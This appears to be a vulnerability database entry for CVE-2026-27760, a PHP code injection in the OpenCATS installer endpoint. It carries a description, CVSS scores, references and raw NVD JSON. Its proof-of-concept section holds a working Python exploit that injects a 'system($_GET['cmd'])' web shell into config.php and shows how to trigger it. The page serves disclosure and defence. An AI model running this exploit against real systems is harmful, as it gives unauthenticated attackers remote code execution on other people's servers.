CVE-2026-27760

Description

OpenCATS prior to commit 3002a29 contains a PHP code injection vulnerability in the installer AJAX endpoint that allows unauthenticated attackers to execute arbitrary code by injecting PHP statements into the databaseConnectivity action parameter. Attackers can break out of the define() string context in config.php using a single quote and statement separator to inject malicious PHP code that persists and executes on every subsequent page load when the installation wizard remains incomplete.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OpenCATS < commit 3002a29

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (example)
target_url = "http://target.com/opencats/modules/install/ajax/ui.php"

# The payload attempts to break out of the define() function context in config.php
# It closes the string with a single quote, ends the statement with a semicolon, and adds a system command
payload = "'); system($_GET['cmd']); //"

data = {
    "action": "databaseConnectivity",
    "databaseConnectivity": payload
}

try:
    response = requests.post(target_url, data=data)
    if response.status_code == 200:
        print("Payload sent successfully. Check config.php for injection.")
        print("Trigger the payload by visiting: http://target.com/opencats/index.php?cmd=whoami")
    else:
        print(f"Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27760
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27760
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27760/
[4] VulDB https://vuldb.com/cve/CVE-2026-27760
[5] https://chocapikk.com/posts/2026/opencats-installer-rce/
[6] https://github.com/opencats/OpenCATS/blob/46e4727/lib/CATSUtility.php#L142-L172
[7] https://github.com/opencats/OpenCATS/blob/46e4727/modules/install/ajax/ui.php#L130
[8] https://github.com/opencats/OpenCATS/commit/3002a29f4c3cada1aa2c4f3d4ae4e189906606b6
[9] https://github.com/opencats/OpenCATS/pull/706
[10] https://www.vulncheck.com/advisories/opencats-php-code-injection-via-installer-ajax-endpoint

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27760", "sourceIdentifier": "[email protected]", "published": "2026-04-28T15:16:26.800", "lastModified": "2026-04-28T20:18:13.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenCATS prior to commit 3002a29 contains a PHP code injection vulnerability in the installer AJAX endpoint that allows unauthenticated attackers to execute arbitrary code by injecting PHP statements into the databaseConnectivity action parameter. Attackers can break out of the define() string context in config.php using a single quote and statement separator to inject malicious PHP code that persists and executes on every subsequent page load when the installation wizard remains incomplete."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://chocapikk.com/posts/2026/opencats-installer-rce/", "source": "[email protected]"}, {"url": "https://github.com/opencats/OpenCATS/blob/46e4727/lib/CATSUtility.php#L142-L172", "source": "[email protected]"}, {"url": "https://github.com/opencats/OpenCATS/blob/46e4727/modules/install/ajax/ui.php#L130", "source": "[email protected]"}, {"url": "https://github.com/opencats/OpenCATS/commit/3002a29f4c3cada1aa2c4f3d4ae4e189906606b6", "source": "[email protected]"}, {"url": "https://github.com/opencats/OpenCATS/pull/706", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/opencats-php-code-injection-via-installer-ajax-endpoint", "source": "[email protected]"}]}}